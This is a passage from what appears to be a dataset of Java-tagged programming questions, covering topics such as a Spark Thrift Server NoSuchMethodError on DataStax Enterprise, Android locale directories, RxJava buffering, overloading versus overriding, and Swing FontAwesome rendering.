org.apache.spark.util.SparkShutdownHookManager $ $ anonfun $ runAll $ 1 $ $ anonfun $ apply $ mcV $ sp $ 1.apply ( ShutdownHookManager.scala:187 ) ~ [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.SparkShutdownHookManager $ $ anonfun $ runAll $ 1 $ $ anonfun $ apply $ mcV $ sp $ 1.apply ( ShutdownHookManager.scala:187 ) ~ [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.Utils $ .logUncaughtExceptions ( Utils.scala:1953 ) ~ [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.SparkShutdownHookManager $ $ anonfun $ runAll $ 1.apply $ mcV $ sp ( ShutdownHookManager.scala:187 ) [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.SparkShutdownHookManager $ $ anonfun $ runAll $ 1.apply ( ShutdownHookManager.scala:187 ) [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.SparkShutdownHookManager $ $ anonfun $ runAll $ 1.apply ( ShutdownHookManager.scala:187 ) [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at scala.util.Try $ .apply ( Try.scala:192 ) [ scala-library-2.11.8.jar : na ] at org.apache.spark.util.SparkShutdownHookManager.runAll ( ShutdownHookManager.scala:187 ) [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.SparkShutdownHookManager $ $ anon $ 2.run ( ShutdownHookManager.scala:177 ) [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.hadoop.util.ShutdownHookManager $ 1.run ( ShutdownHookManager.java:54 ) [ hadoop-common-2.7.1.3.jar : na ] Relevant part of the log : ERROR 2017-05-07 22:22:04org.apache.spark.deploy.DseSparkSubmitBootstrapper : Failed to start or submit Spark application java.lang.NoSuchMethodError : org.apache.hive.service.cli.operation.LogDivertAppender.setWriter ( Ljava/io/Writer ; ) V atorg.apache.hive.service.cli.operation.LogDivertAppender . ( LogDivertAppender.java:166 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] I have opscenter 6.1 and dse 5.1====Update 1files in /usr/share/dse/hadoop2-client/lib/native libhadoop.a libhadoop.so libhadoop.so.1.0.0 libhadooppipes.a libhadooputils.a libhdfs.a libhdfs.so libhdfs.so.0.0.0files in /usr/share/dse/spark/jars emptyfiles in /usr/share/dse/spark/lib JavaEWAH-0.3.2.jar commons-dbcp-1.4.jar httpclient-4.5.2.jar jersey-server-2.22.2.jar netty-3.9.8.Final.jar reflectasm-1.10.1.jar spark-sketch_2.11-2.0.2.6.jar RoaringBitmap-0.5.11.jar commons-io-2.5.jar httpcore-4.4.4.jar jline-2.14.2.jar noggit-0.6.jar scala-compiler-2.11.8.jar spark-sql_2.11-2.0.2.6.jar antlr4-runtime-4.5.3.jar commons-lang3-3.4.jar httpmime-4.4.1.jar joda-convert-1.2.jar objenesis-2.1.jar scala-xml_2.11-1.0.4.jar spark-streaming_2.11-2.0.2.6.jar aopalliance-repackaged-2.4.0-b34.jar commons-math3-3.4.1.jar ivy-2.4.0.jar joda-time-2.9.3.jar opencsv-2.3.jar scalap-2.11.8.jar spark-tags_2.11-2.0.2.6.jar arpack_combined_all-0.1.jar compress-lzf-1.0.3.jar jackson-annotations-2.5.3.jar jodd-core-3.5.2.jar oro-2.0.8.jar scalatest_2.11-2.2.6.jar spark-unsafe_2.11-2.0.2.6.jar avro-1.7.7.jar core-1.1.2.jar jackson-core-asl-1.9.13.jar jpam-1.1.jar osgi-resource-locator-1.0.1.jar snappy-0.2.jar spire-macros_2.11-0.7.4.jar avro-ipc-1.7.7.jar datanucleus-api-jdo-3.2.6.jar jackson-mapper-asl-1.9.13.jar json4s-ast_2.11-3.2.11.jar paranamer-2.8.jar solr-solrj-6.0.1.0.1596.jar spire_2.11-0.7.4.jar avro-mapred-1.7.7-hadoop2.jar datanucleus-core-3.2.10.jar jackson-module-scala_2.11-2.5.3.jar json4s-core_2.11-3.2.11.jar parquet-column-1.7.0.jar spark-cassandra-connector-unshaded_2.11-2.0.1.jar stax-api-1.0.1.jar bonecp-0.8.0.RELEASE.jar datanucleus-rdbms-3.2.9.jar javax.annotation-api-1.2.jar json4s-jackson_2.11-3.2.11.jar parquet-common-1.7.0.jar spark-catalyst_2.11-2.0.2.6.jar stax2-api-3.1.4.jar breeze-macros_2.11-0.11.2.jar derby-10.10.2.0.jar javax.inject-2.4.0-b34.jar jsr166e-1.1.0.jar parquet-encoding-1.7.0.jar spark-core_2.11-2.0.2.6.jar stream-2.7.0.jar breeze_2.11-0.11.2.jar eigenbase-properties-1.1.5.jar javax.ws.rs-api-2.0.1.jar jta-1.1.jar parquet-format-2.3.0-incubating.jar spark-graphx_2.11-2.0.2.6.jar super-csv-2.2.0.jar calcite-avatica-1.2.0-incubating.jar hive-beeline-1.2.1.spark2.jar javolution-5.5.1.jar jtransforms-2.4.0.jar parquet-generator-1.7.0.jar spark-hive-thriftserver_2.11-2.0.2.6.jar univocity-parsers-2.1.1.jar calcite-core-1.2.0-incubating.jar hive-cli-1.2.1.spark2.jar jdo-api-3.0.1.jar jul-to-slf4j-1.7.13.jar parquet-hadoop-1.7.0.jar spark-hive_2.11-2.0.2.6.jar unused-1.0.0.jar calcite-linq4j-1.2.0-incubating.jar hive-exec-1.2.1.spark2.jar jersey-client-2.22.2.jar kryo-3.0.3.jar parquet-hadoop-bundle-1.6.0.jar spark-launcher_2.11-2.0.2.6.jar velocity-1.7.jar cassandra-driver-mapping-3.1.4.jar hive-jdbc-1.2.1.spark2.jar jersey-common-2.22.2.jar libfb303-0.9.3.jar parquet-jackson-1.7.0.jar spark-mllib-local_2.11-2.0.2.6.jar woodstox-core-asl-4.4.1.jar chill-java-0.8.0.jar hive-metastore-1.2.1.spark2.jar jersey-container-servlet-2.22.2.jar mail-1.4.7.jar pmml-model-1.2.15.jar spark-mllib_2.11-2.0.2.6.jar xbean-asm5-shaded-4.4.jar chill_2.11-0.8.0.jar hk2-api-2.4.0-b34.jar jersey-container-servlet-core-2.22.2.jar mesos-0.21.1-shaded-protobuf.jar pmml-schema-1.2.15.jar spark-network-common_2.11-2.0.2.6.jar commons-beanutils-1.9.3.jar hk2-locator-2.4.0-b34.jar jersey-guava-2.22.2.jar metrics-json-3.1.2.jar py4j-0.10.1.jar spark-network-shuffle_2.11-2.0.2.6.jar commons-codec-1.10.jar hk2-utils-2.4.0-b34.jar jersey-media-jaxb-2.22.2.jar minlog-1.3.0.jar pyrolite-4.13.jar spark-repl_2.11-2.0.2.6.jarUpdate 2I have a DSE 5.0 installation also , but it also does not contain any apache-log4j jars and the spark-sql-thrift-server works fine.After placing apache-log4j-extras-1.2.17.jar in /usr/share/dse/spark/lib I am getting the error ( see https : //pastebin.com/KjgsEhnw for the entire log ) :","dse spark-sql-thriftserver start \ -- conf spark.cores.max=10 \ -- conf spark.executor.memory=2g \ -- hiveconf hive.server2.thrift.port=10001 Spark Command : /opt/jdk1.8.0_112/bin/java -cp /etc/dse/spark/ : /usr/share/dse/spark/jars/* : /etc/dse/hadoop2-client/ -Djava.library.path=/usr/share/dse/hadoop2-client/lib/native : /usr/share/dse/cassandra/lib/sigar-bin : -Dcassandra.logdir=/var/log/cassandra -XX : MaxHeapFreeRatio=50 -XX : MinHeapFreeRatio=20 -Dguice_include_stack_traces=OFF -Ddse.system_memory_in_mb=32174 -Dcassandra.config.loader=com.datastax.bdp.config.DseConfigurationLoader -Dlogback.configurationFile=/etc/dse/spark/logback-spark.xml -Dcassandra.logdir=/var/log/cassandra -Ddse.client.configuration.impl=com.datastax.bdp.transport.client.HadoopBasedClientConfiguration -Dderby.stream.error.method=com.datastax.bdp.derby.LogbackBridge.getLogger -Xmx1024M org.apache.spark.deploy.SparkSubmit -- class org.apache.spark.sql.hive.thriftserver.HiveThriftServer2 spark-internal========================================WARN 2017-05-19 14:11:31 org.apache.spark.SparkContext : Use an existing SparkContext , some configuration may not take effect.WARN 2017-05-19 14:11:36 org.apache.hadoop.hive.metastore.HiveMetaStore : Retrying creating default database after error : Unexpected exception caught.javax.jdo.JDOFatalInternalException : Unexpected exception caught . at javax.jdo.JDOHelper.invokeGetPersistenceManagerFactoryOnImplementation ( JDOHelper.java:1193 ) ~ [ jdo-api-3.0.1.jar:3.0.1 ] at javax.jdo.JDOHelper.getPersistenceManagerFactory ( JDOHelper.java:808 ) ~ [ jdo-api-3.0.1.jar:3.0.1 ] at javax.jdo.JDOHelper.getPersistenceManagerFactory ( JDOHelper.java:701 ) ~ [ jdo-api-3.0.1.jar:3.0.1 ] at org.apache.hadoop.hive.metastore.ObjectStore.getPMF ( ObjectStore.java:365 ) ~ [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.ObjectStore.getPersistenceManager ( ObjectStore.java:394 ) ~ [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.ObjectStore.initialize ( ObjectStore.java:291 ) ~ [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.ObjectStore.setConf ( ObjectStore.java:258 ) ~ [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.util.ReflectionUtils.setConf ( ReflectionUtils.java:76 ) ~ [ hadoop-common-2.7.1.3.jar : na ] at org.apache.hadoop.util.ReflectionUtils.newInstance ( ReflectionUtils.java:136 ) ~ [ hadoop-common-2.7.1.3.jar : na ] at org.apache.hadoop.hive.metastore.RawStoreProxy. < init > ( RawStoreProxy.java:57 ) ~ [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.RawStoreProxy.getProxy ( RawStoreProxy.java:66 ) ~ [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.HiveMetaStore $ HMSHandler.newRawStore ( HiveMetaStore.java:593 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.HiveMetaStore $ HMSHandler.getMS ( HiveMetaStore.java:571 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.HiveMetaStore $ HMSHandler.createDefaultDB ( HiveMetaStore.java:620 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.HiveMetaStore $ HMSHandler.init ( HiveMetaStore.java:461 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.RetryingHMSHandler. < init > ( RetryingHMSHandler.java:66 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.RetryingHMSHandler.getProxy ( RetryingHMSHandler.java:72 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.HiveMetaStore.newRetryingHMSHandler ( HiveMetaStore.java:5762 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.HiveMetaStoreClient. < init > ( HiveMetaStoreClient.java:199 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.ql.metadata.SessionHiveMetaStoreClient. < init > ( SessionHiveMetaStoreClient.java:74 ) [ hive-exec-1.2.1.spark2.jar:1.2.1.spark2 ] at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) [ na:1.8.0_112 ] at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:62 ) [ na:1.8.0_112 ] at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) [ na:1.8.0_112 ] at java.lang.reflect.Constructor.newInstance ( Constructor.java:423 ) [ na:1.8.0_112 ] at org.apache.hadoop.hive.metastore.MetaStoreUtils.newInstance ( MetaStoreUtils.java:1521 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.RetryingMetaStoreClient. < init > ( RetryingMetaStoreClient.java:86 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.RetryingMetaStoreClient.getProxy ( RetryingMetaStoreClient.java:132 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.metastore.RetryingMetaStoreClient.getProxy ( RetryingMetaStoreClient.java:104 ) [ hive-metastore-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.ql.metadata.Hive.createMetaStoreClient ( Hive.java:3005 ) [ hive-exec-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.ql.metadata.Hive.getMSC ( Hive.java:3024 ) [ hive-exec-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.ql.metadata.Hive.getAllDatabases ( Hive.java:1234 ) [ hive-exec-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.ql.metadata.Hive.reloadFunctions ( Hive.java:174 ) [ hive-exec-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.ql.metadata.Hive. < clinit > ( Hive.java:166 ) [ hive-exec-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.hadoop.hive.ql.session.SessionState.start ( SessionState.java:503 ) [ hive-exec-1.2.1.spark2.jar:1.2.1.spark2 ] at org.apache.spark.sql.hive.client.HiveClientImpl. < init > ( HiveClientImpl.scala:189 ) [ spark-hive_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.client.IsolatedClientLoader.createClient ( IsolatedClientLoader.scala:247 ) [ spark-hive_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.HiveUtils $ .newClientForExecution ( HiveUtils.scala:250 ) [ spark-hive_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.HiveThriftServer2 $ .main ( HiveThriftServer2.scala:88 ) [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.HiveThriftServer2.main ( HiveThriftServer2.scala ) [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) ~ [ na:1.8.0_112 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) ~ [ na:1.8.0_112 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) ~ [ na:1.8.0_112 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) ~ [ na:1.8.0_112 ] at org.apache.spark.deploy.DseSparkSubmit $ .org $ apache $ spark $ deploy $ DseSparkSubmit $ $ runMain ( DseSparkSubmit.scala:730 ) [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmit $ .doRunMain $ 1 ( DseSparkSubmit.scala:175 ) [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmit $ .submit ( DseSparkSubmit.scala:200 ) [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmit $ .main ( DseSparkSubmit.scala:109 ) [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmitBootstrapper $ .main ( DseSparkSubmitBootstrapper.scala:74 ) [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmitBootstrapper.main ( DseSparkSubmitBootstrapper.scala ) [ dse-spark-5.1.0.jar:5.1.0 ] Caused by : java.lang.reflect.InvocationTargetException : null at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) ~ [ na:1.8.0_112 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) ~ [ na:1.8.0_112 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) ~ [ na:1.8.0_112 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) ~ [ na:1.8.0_112 ] at javax.jdo.JDOHelper $ 16.run ( JDOHelper.java:1965 ) ~ [ jdo-api-3.0.1.jar:3.0.1 ] at java.security.AccessController.doPrivileged ( Native Method ) ~ [ na:1.8.0_112 ] at javax.jdo.JDOHelper.invoke ( JDOHelper.java:1960 ) ~ [ jdo-api-3.0.1.jar:3.0.1 ] at javax.jdo.JDOHelper.invokeGetPersistenceManagerFactoryOnImplementation ( JDOHelper.java:1166 ) ~ [ jdo-api-3.0.1.jar:3.0.1 ] ... 48 common frames omittedCaused by : java.lang.NoClassDefFoundError : org/apache/log4j/or/RendererMap at org.apache.log4j.Hierarchy. < init > ( Hierarchy.java:97 ) ~ [ apache-log4j-extras-1.2.17.jar : na ] at org.apache.log4j.LogManager. < clinit > ( LogManager.java:82 ) ~ [ apache-log4j-extras-1.2.17.jar : na ] at org.apache.log4j.Logger.getLogger ( Logger.java:104 ) ~ [ apache-log4j-extras-1.2.17.jar : na ] at org.datanucleus.util.Log4JLogger. < init > ( Log4JLogger.java:49 ) ~ [ datanucleus-core-3.2.10.jar : na ] at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) [ na:1.8.0_112 ] at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:62 ) [ na:1.8.0_112 ] at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) [ na:1.8.0_112 ] at java.lang.reflect.Constructor.newInstance ( Constructor.java:423 ) [ na:1.8.0_112 ] at org.datanucleus.util.NucleusLogger.getLoggerInstance ( NucleusLogger.java:237 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.util.NucleusLogger. < clinit > ( NucleusLogger.java:205 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.plugin.PluginRegistryFactory.newPluginRegistry ( PluginRegistryFactory.java:74 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.plugin.PluginManager. < init > ( PluginManager.java:61 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.plugin.PluginManager.createPluginManager ( PluginManager.java:427 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.NucleusContext. < init > ( NucleusContext.java:266 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.NucleusContext. < init > ( NucleusContext.java:247 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.NucleusContext. < init > ( NucleusContext.java:225 ) ~ [ datanucleus-core-3.2.10.jar : na ] at org.datanucleus.api.jdo.JDOPersistenceManagerFactory. < init > ( JDOPersistenceManagerFactory.java:416 ) ~ [ datanucleus-api-jdo-3.2.6.jar : na ] at org.datanucleus.api.jdo.JDOPersistenceManagerFactory.createPersistenceManagerFactory ( JDOPersistenceManagerFactory.java:301 ) ~ [ datanucleus-api-jdo-3.2.6.jar : na ] at org.datanucleus.api.jdo.JDOPersistenceManagerFactory.getPersistenceManagerFactory ( JDOPersistenceManagerFactory.java:202 ) ~ [ datanucleus-api-jdo-3.2.6.jar : na ] ... 56 common frames omittedCaused by : java.lang.ClassNotFoundException : org.apache.log4j.or.RendererMap at java.net.URLClassLoader.findClass ( URLClassLoader.java:381 ) ~ [ na:1.8.0_112 ] at java.lang.ClassLoader.loadClass ( ClassLoader.java:424 ) ~ [ na:1.8.0_112 ] at sun.misc.Launcher $ AppClassLoader.loadClass ( Launcher.java:331 ) ~ [ na:1.8.0_112 ] at java.lang.ClassLoader.loadClass ( ClassLoader.java:357 ) ~ [ na:1.8.0_112 ] ... 75 common frames omitted",How to start Spark Thrift Server on Datastax Enterprise ( fails with java.lang.NoSuchMethodError : ... LogDivertAppender.setWriter ) ? +Java,"According to android documentation , To add support for more locales , create additional directories inside res/ . Each directory 's name should adhere to the following format : For eg.Can anybody say why the symbol is like this -b+ ? Just for educational purpose.Link : https : //developer.android.com/training/basics/supporting-devices/languages.html # CreateDirs",< resource type > -b+ < language code > [ + < country code > ] MyProject/ res/ values/ strings.xml values-b+es/ strings.xml mipmap/ country_flag.png mipmap-b+es+ES/ country_flag.png,What is the -b+ sign in creating locale specific directories in android ? +Java,"I want to buffer elements and emit them as collection when there is no new element for x amount of time . how to do that ? For example given inputIf my x=200 I want to emit { 1 , 2 , 3 , 4 } , { 5 , 6 } , { 7 } What I tried is simple buffer ( ) with time , but it does n't offer debounce . I also tried throttleFirst ( ) on source and flatMap ( ) it with buffer ( ) .take ( 1 ) on source inside flatMap , it works similarly but not exactly as desired .",INPUT TIME1 0 2 03 1004 1505 4006 4507 800,RxJava2 buffer with debounce +Java,"Forgive me if this question is primarily opinion based , but I have the feeling that it is not and there is a good reason for the choice . So , here 's an example . Sorry , it 's really long , but super simple : Interface : Implementing class 1 : Implementing class 2 : Driver : This works since .area ( ) is overridden by Circle and Square . Now , here 's where my question truly begins . Let 's say that the driver has these methods : If we call : This happens because Java interprets the objects as Shapes and not Circle and Square . Of course we can get the desired results through : Now that we have a background my question is : What reasons contributed to the compiler/language design such that whatIs ( shapes [ 0 ] ) ; will print `` Shape ? '' As in , why can the Java compiler accurately distinguish between overridden methods for related objects , but not overloaded methods ? More specifically , if the only methods that the driver has access to are : and we attempt to call , we will get two errors ( one for Square and one for Circle ) indicating that : method Driver.whatIs ( Square ) is not applicable actual argument Shape can not be converted to Square by method invocation conversion So , again , now that we 've gotten to the nitty-gritty , why can Java not handle a situation like this ? As in , is this done due to efficiency concerns , is it just not possible due to the some design decisions , is this a bad practice for some reason , etc ?","public interface Shape { double area ( ) ; } import static java.lang.Math.PI ; public class Circle implements Shape { private double radius ; public Circle ( double radius ) { this.radius = radius ; } public double area ( ) { return PI*radius*radius ; } } public class Square implements Shape { private double size ; public Square ( double sideLength ) { size = sideLength ; } public double area ( ) { return size*size ; } } Shape [ ] shapes = new Shape [ ] { new Circle ( 5.3 ) , new Square ( 2.4 ) } ; System.out.println ( shapes [ 0 ] .area ( ) ) ; //prints 88.247 ... System.out.println ( shapes [ 1 ] .area ( ) ) ; //prints 5.76 public static void whatIs ( Shape s ) { System.out.println ( `` Shape '' ) ; } public static void whatIs ( Circle s ) { System.out.println ( `` Circle '' ) ; } public static void whatIs ( Square s ) { System.out.println ( `` Square '' ) ; } whatIs ( shapes [ 0 ] ) ; //prints `` Shape '' whatIs ( shapes [ 1 ] ) ; //prints `` Shape '' if ( shapes [ 0 ] instanceof Circle ) { whatIs ( ( Circle ) shapes [ 0 ] ) ; //prints `` Circle '' } if ( shapes [ 1 ] instanceof Square ) { whatIs ( ( Square ) shapes [ 1 ] ) ; //prints `` Square '' } public static void whatIs ( Circle s ) { System.out.println ( `` Circle '' ) ; } public static void whatIs ( Square s ) { System.out.println ( `` Square '' ) ; } whatIs ( shapes [ 0 ] ) ; whatIs ( shapes [ 1 ] ) ;",Compiler interpretation of overriding vs overloading +Java,"Possible Duplicate : Why does modulus division ( % ) only work with integers ? This code does n't work in C and C++ but works in C # and Java : Also , division remainder is defined for reals in Python.What is the reason this operation is not defined for floats and doubles in C and C++ ?",float x = 3.4f % 1.1f ; double x = 3.4 % 1.1 ;,Why is there no division remainder operation for floats/doubles in C and C++ ? +Java,"I was trying to join the elements of an array via the StringUtils.join ( array , separator ) method from the Apache commons library . Can anyone please explain me why I can not get the resulting string and only a pointer to its location if I use an array of primitive types like int [ ] ? Please see example code below : Only using Integer arrays works . I understood that arrays of primitives are internally treated differently than ArrayList or other higher order objects , but then why is it possible ( same topic more or less but a different question maybe ) to instantiate a HashMap < String , int [ ] > without any warnings , exceptions ? Are the arrays internally wrapped in another object ? Only for maps ? From what I read from the doc you can not parametrize a map , set , array list etc with primitive types , which I understand , but then ... I find it a bit confusing . Any reasonable explanation would be appreciated . Thank you .","public static void main ( String [ ] args ) { String [ ] s = new String [ ] { `` Anna '' , '' has '' , `` apples '' } ; System.out.println ( StringUtilities.join ( s , `` `` ) ) ; int [ ] a = new int [ ] { 1,2,3 } ; System.out.println ( StringUtilities.join ( a , `` `` ) ) ; Integer [ ] b = new Integer [ ] { 1,2,3 } ; System.out.println ( StringUtilities.join ( b , `` `` ) ) ; }",java - StringUtils.join ( ) returning pointer +Java,I have a problem in using Drools Planner ( written in Java ) in Scala . One of interfaces in Drools planner is declared as : However another interface uses 'Score ' as a raw type : Then I 'd like to implement this interface in Scala : And I get a compilation error : Scala compiler disallows writing just 'def getScore : Score ' . When I try adding 'Score [ _ ] ' or 'Score [ whatever ] ' compiler complains about type incompatibility . What should I do ?,public interface Score < S extends Score > extends Comparable < S > public interface Solution { Score getScore ( ) ; class MySolution extends Solution { def getScore : Score = ...,Implementing methods having raw types in Scala +Java,"I 'm having a problem displaying certain glyphs from the FontAwesome collection in buttons in a Swing JToolBar . Here is a screenshot to illustrate ( notice that the top button in the toolbar on the right hand side is not a nice icon but instead shows three empty rectangles ) : The code to reproduce this ( at least on my Mac ) is : I tried a few things : ( 1 ) Using different versions of the FontAwesome.ttf file , no change ; ( 2 ) Trying different JDK versions , no change ; ( 3 ) Displaying the same character in a regular JButton , this works as you can see in the following screenshot ( so this is clearly not some issue with the font file ) : I tested on a non-Retina Mac and everything works , so I wonder if this is something specific to the Retina display . If anyone has any suggestions I 'd appreciate hearing from you , thanks.The code for the JButton only example ( that works fine ) is :","import java.awt.BorderLayout ; import java.awt.EventQueue ; import java.awt.Font ; ! [ enter image description here ] [ 2 ] import java.awt.FontFormatException ; import java.io.IOException ; import java.io.InputStream ; import javax.swing.JButton ; import javax.swing.JFrame ; import javax.swing.JToolBar ; public class TestFontAwesome { public static void main ( String [ ] args ) { new TestFontAwesome ( ) ; } public TestFontAwesome ( ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { try ( InputStream is = TestFontAwesome.class.getResourceAsStream ( `` /fontawesome-webfont_old.ttf '' ) ) { Font font = Font.createFont ( Font.TRUETYPE_FONT , is ) ; font = font.deriveFont ( Font.PLAIN , 24f ) ; JToolBar toolBar = new JToolBar ( JToolBar.VERTICAL ) ; JButton button1 = new JButton ( `` \uf00e '' ) ; button1.setFont ( font ) ; toolBar.add ( button1 ) ; JButton button2 = new JButton ( `` \uf01e '' ) ; button2.setFont ( font ) ; toolBar.add ( button2 ) ; JFrame frame = new JFrame ( `` Testing '' ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setLayout ( new BorderLayout ( ) ) ; frame.add ( new JButton ( `` Irrelevant content ... '' ) ) ; frame.add ( toolBar , BorderLayout.EAST ) ; frame.pack ( ) ; frame.setLocationRelativeTo ( null ) ; frame.setVisible ( true ) ; } catch ( IOException | FontFormatException exp ) { exp.printStackTrace ( ) ; } } } ) ; } } import java.awt.EventQueue ; import java.awt.FlowLayout ; import java.awt.Font ; import java.awt.FontFormatException ; import java.io.IOException ; import java.io.InputStream ; import javax.swing.JButton ; import javax.swing.JFrame ; public class TestFontAwesome2 { public static void main ( String [ ] args ) { new TestFontAwesome2 ( ) ; } public TestFontAwesome2 ( ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { try ( InputStream is = TestFontAwesome.class.getResourceAsStream ( `` /fontawesome-webfont_old.ttf '' ) ) { Font font = Font.createFont ( Font.TRUETYPE_FONT , is ) ; font = font.deriveFont ( Font.PLAIN , 24f ) ; JButton button1 = new JButton ( `` \uf00e '' ) ; button1.setFont ( font ) ; JButton button2 = new JButton ( `` \uf01e '' ) ; button2.setFont ( font ) ; JFrame frame = new JFrame ( `` Testing '' ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setLayout ( new FlowLayout ( ) ) ; frame.add ( new JButton ( `` Irrelevant content ... '' ) ) ; frame.add ( button1 ) ; frame.add ( button2 ) ; frame.pack ( ) ; frame.setLocationRelativeTo ( null ) ; frame.setVisible ( true ) ; } catch ( IOException | FontFormatException exp ) { exp.printStackTrace ( ) ; } } } ) ; } }",Certain FontAwesome glyphs do n't render in Java Swing JToolBar buttons +Java,"I 'm Stuck with my homework . Basically , we need to Create a program to find the largest and smallest integers in a list entered by the user.And stops when the user enters 0 . However we are not allowed to user arrays for this problem.and one more condition : If the largest value appears more than once , that value should be listed as both the largest and second-largest value , as shown in the following sample run.I have met the first condition of the program however I can not meet the 2nd condition.I have tried to use this code . however when I run the program https : //imgur.com/a/YMxj9qm - this shows.It should print 75 and 45 . What can I do to meet the first condition and meet the second condition ?","import java.util.Scanner ; public class FindTwoLargest { public static void main ( String args [ ] ) { Scanner sc = new Scanner ( System.in ) ; int num = 1 , max1st = 0 , max2nd = 0 ; int count = 1 ; System.out.println ( `` This program allows the user to create a list integers until the user enters 0 '' ) ; System.out.println ( `` The program will print the Largest value and the Second largest value from the list ! `` ) ; while ( num ! = 0 ) { System.out.print ( `` Integer No . '' + count + `` `` ) ; num = sc.nextInt ( ) ; if ( num > = max1st & & num > = max2nd ) { max1st = num ; } if ( num > = max2nd & & num < max1st ) { max2nd = num ; } count++ ; } System.out.println ( `` The largest value is `` + max1st ) ; System.out.println ( `` The second largest value is `` + max2nd ) ; } } if ( num > = max2nd & & num < = max1st ) { max2nd = num ; }",Find Two largest numbers in a list without using Array +Java,"I 'm developing a real time strategy game clone on the Java platform and I have some conceptional questions about where to put and how to manage the game state . The game uses Swing/Java2D as rendering . In the current development phase , no simulation and no AI is present and only the user is able to change the state of the game ( for example , build/demolish a building , add-remove production lines , assemble fleets and equipment ) . 